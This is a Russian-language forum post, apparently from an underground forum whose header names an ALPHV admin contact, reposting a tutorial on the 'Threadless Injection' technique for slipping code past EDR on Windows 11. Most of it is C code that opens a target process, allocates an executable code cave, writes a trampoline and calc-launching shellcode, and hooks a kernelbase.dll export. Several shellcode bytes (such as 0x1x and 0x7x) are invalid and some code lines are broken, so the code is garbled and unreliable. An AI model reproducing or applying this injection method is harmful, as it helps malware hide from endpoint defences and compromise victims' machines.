• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Делаем инъекции в чужие процессы, чтобы обойти EDR

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы поговорим о технике инъекции в сторонний процесс, которая называется Threadless Injection. На момент написания статьи она работала на Windows 11 23H2 x64 с активированными средствами защиты ОС на изолированной от сети виртуальной машине.

info​

Читай также мою Для просмотра ссылки Войди или Зарегистрируйся, где я показывал, как устроена и как реализуется техника инжекта под названием Process Ghosting.
Итак, давай вспомним, как происходит стандартная инъекция шелл‑кода с последующим его выполнением.
  1. Получение дескриптора процесса (OpenProcess и NtOpenProcess).
  2. Выделение памяти для полезной нагрузки (VirtualAllocEx и NtMapViewOfSection).
  3. Запись полезной нагрузки в эту память (WriteProcessMemory и Ghost Writing).
  4. Выполнение шелл‑кода (CreateRemoteThread и NtQueueApcThread).
Эта последовательность хорошо известна всем средствам EDR, и если какое‑то ПО ее реализует, то сразу будет красный флаг и завершение процесса.

Нельзя ли все это написать таким образом, чтобы действия выполнялись те же, но без прямого использования перечисленных функций WinAPI? С первыми шагами такое проделать можно, но с выполнением шелл‑кода все не так просто. Прямой вызов функций CreateRemoteThread/NtQueueApcThread даст алерт EDR с вероятностью 100%.

Словом, чтобы обвести защиту вокруг пальца, нам надо сломать эту последовательность. Например, почему бы не перехватить какие‑нибудь вызовы API в стороннем приложении, в экспортируемой функции DLL и потом заставить эту функцию работать на нас?

warning​

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Например, можно пропатчить функции работы с сетью какого‑нибудь легитимного ПО, которое и так работает с сетью, и использовать их для связи со своими сетевыми ресурсами! В этом и состоит смысл техники Threadless Injection — пропатчить экспортные функции используемой процессом динамической библиотеки, чтобы при их вызове запускался наш код. По шагам это выглядит примерно вот так:

  1. Найти область памяти Для просмотра ссылки Войди или Зарегистрируйся, которая сможет вместить наш шелл‑код и трамплин.
  2. Записать шелл‑код и трамплин в эту память.
  3. Пропатчить экспортируемую функцию DLL, настроив ее на запуск нашего кода.
  4. Подождать вызова этой функции, чтобы шелл‑код выполнился.
Но в динамических библиотеках могут быть сотни и тысячи функций, и не факт, что рандомно выбранная нам подойдет. Ведь нет никаких гарантий, что она будет вызвана в разумное для нас время или вообще будет вызвана.

Чтобы решить этот вопрос, нужно провести небольшое исследование ПО, в котором мы собираемся реализовывать такой перехват экспортной функции. В идеальном случае нужно найти приложение, которое вызывает какие‑то функции DLL регулярно: например, обращается к своему временному файлу на диске и записывает в него промежуточные результаты своей работы или проверяет доступность своих серверов в сети, вызывая соответствующие API с определенным промежутком времени. Если найти такие функции, то можно быть уверенным, что вызов точно произойдет.

Но не следует злоупотреблять этим правилом: если приложение вызывает API слишком часто (например, несколько раз в секунду) и ты захочешь перехватить вызов, то неизбежны разные глюки.

Чтобы провести подобное исследование, воспользуемся программой Для просмотра ссылки Войди или Зарегистрируйся. В этой же программе мы сможем увидеть, как в реальном времени происходит вызов WinAPI, какие действия в интересующей нас программе на это влияют. Кроме того, можно увидеть, какие DLL прицеплены к процессу и какие API они реализуют (то есть это не просто список WinAPI непонятно откуда). Исходя из данных мониторинга, мы должны решить для себя, какую функцию из экспорта используемой библиотеки перехватывать.

Пример использования программы API Monitor для просмотра вызываемых функций WinAPI
Пример использования программы API Monitor для просмотра вызываемых функций WinAPI

После того как подопытная программа исследована и нужные WinAPI выявлены, можно начинать кодить.

Кодим​

В начале статьи мы обозначили шаги, которые нужно сделать для реализации Threadless Injection, теперь пришло время реализовать каждый шаг в коде.

Сначала нам нужно получить хендл целевого процесса по его имени:

Код:
HANDLE hProc = NULL;
LPCWSTR ps_name;
DWORD *procID;

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (!process_snap) return NULL;

if (Process32First(process_snap, &pe32)) {
    do {
        if (_wcsicmp(pe32.szExeFile, ps_name) == 0) {

            *procID = pe32.th32ProcessID;
            hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID);

            if (!hProc) continue;

            return hProc;
        }
    } while (Process32Next(process_snap, &pe32));
}

Далее загружаем выбранную динамическую библиотеку, содержащую в экспорте функцию API, с которой мы хотим поработать. Пусть этой библиотекой будет kernelbase.dll.


Код:
HMODULE hModule = GetModuleHandleW(L"kernelbase.dll");

    if (hModule == NULL)
        hModule = LoadLibraryW(L"kernelbase.dll");

Теперь получаем адрес нашей API в DLL:


Код:
// victim_export_func — функция из экспорта kernelbase.dll, которая подвергнется установке хука
    void* dll_export_fun_addr = GetProcAddress(hModule, victim_export_func);

    if (dll_export_fun_addr == NULL) return 1;

Ищем code cave — область, куда можно записать наши данные:


Код:
UINT_PTR  addr_of_codecave;
    uint64_t function_addr;
    BOOL gotchaCave;

  // Начало поиска
    for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) - 0x70000000;
      // Диапазон адресов
        addr_of_codecave < function_addr + 0x70000000;
        // Шаг, которым мы листаем память
        addr_of_codecave += 0x10000)
    {
        LPVOID lpAddr = VirtualAllocEx(hProc,
                addr_of_codecave,
                size,
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READWRITE);

        if (lpAddr == NULL) continue;

        gotchaCave = TRUE;
        break;
    }

    if (gotchaCave == TRUE) return addr_of_codecave;

Теперь пойдут манипуляции с трамплином и другая арифметика. Чтобы было понятно, обозначим трамплин и пейлоад. Пейлоад — обычный, который встречается повсюду в демонстрационных PoC и запускает калькулятор. Что касается трамплина, в него входит балансировка стека, сохранение и восстановление регистров после вызова пейлоада:

Код:
unsigned char tramp_to_shellcode[] = {
        0x58, 0x48, 0x83, 0xE8, 0x05, 0x50,
        0x51, 0x52, 0x41, 0x50, 0x41, 0x51,
        0x41, 0x52, 0x41, 0x53, 0x48, 0xB9,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x48, 0x89, 0x08, 0x48,
        0x83, 0xEC, 0x40, 0xE8, 0x11, 0x00,
        0x00, 0x00, 0x48, 0x83, 0xC4, 0x40,
        0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
        0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF,
        0xE0, 0x90
};

unsigned char shellcode[] = {
        0x53, 0x56, 0x57, 0x55, 0x54, 0x58,
        0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
        0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C,
        0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
        0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B,
        0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
        0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48,
        0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
        0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,
        0x1x, 0x20, 0x48, 0x01, 0xFE, 0x8B,
        0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
        0x1x, 0x8D, 0x52, 0x02, 0xAD, 0x81,
        0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45,
        0x7x, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
        0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE,
        0x4x, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
        0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D,
        0x5x, 0x5E, 0x5B, 0xC3
};

Далее читаем начало экспортируемой из DLL функции и настраиваем при помощи полученных данных трамплин:


Код:
int64_t originalBytes = (int64_t)dll_export_fun_addr;
  // Трамплин не повреждается — в нем по этому смещению место зарезервировано нулями
    (uint64_t)(tramp_to_shellcode + 0x12) = originalBytes;
Теперь настраиваем память и даем ей права PAGE_EXECUTE_READWRITE для установки хука:

DWORD saveProtectFlags = 0;
if (!VirtualProtectEx(hProc, dll_export_fun_addr, 8, PAGE_EXECUTE_READWRITE, &saveProtectFlags)) return 1;
Создаем хук (call) в экспортной функции атакуемой библиотеки и настраиваем его:

// Опкод функции call
unsigned char call_opcode_to_shell[] = { 0xe8, 0, 0, 0, 0 };
int call_addr = (remoteAddress - ((UINT_PTR)dll_export_fun_addr + 5));

// Настраиваем вызов
(int)(call_opcode_to_shell + 1) = call_addr;

Далее заканчиваем записывать трамплин и полезную нагрузку, а затем меняем атрибуты целевой памяти сначала на PAGE_EXECUTE_READWRITE, потом обратно на PAGE_EXECUTE_READ, когда работа будет выполнена:


Код:
VirtualProtectEx(hProc,
            call_opcode_to_shell,
            sizeof(call_opcode_to_shell),
            PAGE_EXECUTE_READWRITE,
            NULL);

    if (!WriteProcessMemory(hProc,
            dll_export_fun_addr,
            call_opcode_to_shell,
            sizeof(call_opcode_to_shell),
            &numOfWrittenBytes))
    return 1;

    unsigned char mypayload[sizeof(tramp_to_shellcode) + sizeof(shellcode)];

  // В этих двух циклах создаем один большой пейлоад из шелл-кода и трамплина
    for (size_t x = 0; x < sizeof(tramp_to_shellcode); ++x)
        mypayload = tramp_to_shellcode;

    for (size_t x = 0; x < sizeof(shellcode); ++x)
        mypayload[sizeof(shellcode) + i] = shellcode;

  // Меняем флаги доступа к памяти для проведения записи
    if (!VirtualProtectEx(hProc,
            remoteAddress,
            sizeof(mypayload),
            PAGE_READWRITE,
            &saveProtectFlags))
    return 1;

  // Записываем полезную нагрузку
    if (!WriteProcessMemory(hProc,
            remoteAddress,
            mypayload,
            sizeof(mypayload),
            &numOfWrittenBytes))
    return 1;

  // Возвращаем права доступа к памяти обратно
    if (!VirtualProtectEx(hProc,
            remoteAddress,
            sizeof(mypayload),
            PAGE_EXECUTE_READ,
            &saveProtectFlags))
    return 1;

После выполнения всех шагов остается только ждать, пока приложение вызовет пропатченную функцию. Но ждать долго не придется, мы ведь использовали монитор функций WinAPI и убедились, что API, которая подверглась модификации, вызывается регулярно.

Выводы

Сегодня ты узнал, как реализуется техника внедрения и исполнения кода Threadless Injection, то есть без явного вызова функций создания потока. Это ломает привычный шаблон инжектов, что позволит нашему уйти от детекта и продолжить работать.

Конечно, написанный выше код — это всего лишь демонстрация и некий шаблон, который можно значительно улучшать, чтобы добиться еще более надежной невидимости. Кроме того, эта техника не панацея и не серебряная пуля, которая сделает код полностью скрытым: все техники (инжекта, вызова API, обфускации кода и прочие) нужно использовать совместно, а не по одиночке, тогда у редтимеров будет шанс победить!
 
Activity
So far there's no one here
Сверху Снизу